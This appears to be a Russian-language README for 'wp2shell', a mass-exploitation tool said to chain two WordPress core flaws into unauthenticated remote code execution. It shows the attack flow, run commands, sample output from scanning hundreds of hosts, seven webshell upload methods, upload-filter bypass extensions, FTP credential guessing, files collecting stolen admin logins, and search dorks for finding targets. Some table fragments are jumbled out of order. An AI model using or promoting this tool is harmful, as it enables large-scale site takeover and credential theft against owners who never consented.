
WordPress Core Pre-Auth RCE — путаница маршрутов пакетной обработки + SQL-инъекция
CVE-2026-63030 (путаница маршрутов Batch) + CVE-2026-60137 (SQL-инъекция)
Инструментарий эксплуатации без внешних зависимостей для цепочки уязвимостей wp2shell в ядре WordPress. Один анонимный HTTP-запрос даёт удалённое выполнение кода в стандартной установке WordPress — плагины не требуются.
| Диапазон | Влияние | Исправлено в |
|---|---|---|
| 7.0.0 – 7.0.1 | Полная RCE | 7.0.2 |
| 6.9.0 – 6.9.4 |
Плагины или особая конфигурация не требуются. Эксплуатируется «голая» установка WordPress.
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests — только для expander)log/scanned.txt пропускает уже просканированные целиВсе 7 методов выполняются параллельно через ThreadPoolExecutor. Побеждает первый успешный метод, остальные отменяются.
Расширения для загрузки через медиабиблиотеку: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
Перебираемые учётные данные FTP: localhost / 127.0.0.1 с root / www-data / учётными данными администратора WordPress
| Файл | Содержимое |
|---|---|
result.txt | Учётные данные администратора: url.com/wp-login.php:user:pass |
result_upload.txt | URL шеллов: shell_url | login_url:user:pass | method |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"
app:"WordPress"
"/wp-json/batch/v1"
services.http.response.body:"/wp-json/batch/v1"
Этот инструмент предназначен только для авторизованных исследований безопасности и тестирования на проникновение. Используйте его только на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Авторы не несут ответственности за неправомерное использование.
Лицензия MIT. Подробнее см. в LICENSE.
| Полная RCE |
| 6.9.5 |
| 6.8.0 – 6.8.5 | Только SQLi | 6.8.6 |
| # | Метод | Описание |
|---|
| 1 | direct-plugin | Загрузка zip через /wp-admin/plugin-install.php |
| 2 | direct-theme | Загрузка zip через /wp-admin/theme-install.php |
| 3 | rest-api | Отправка zip в /wp-json/wp/v2/plugins методом POST с cookie аутентификации |
| 4 | plugin-editor | Запись PHP напрямую через /wp-admin/plugin-editor.php |
| 5 | theme-editor | Запись PHP в каталог активной темы |
| 6 | ftp-bypass | Отправка учётных данных FTP, когда WordPress их запрашивает |
| 7 | media-upload | Загрузка PHP через медиабиблиотеку с 15 вариантами расширений |
log/scanned.txt | Все просканированные хосты (авто-пропуск при повторном запуске) |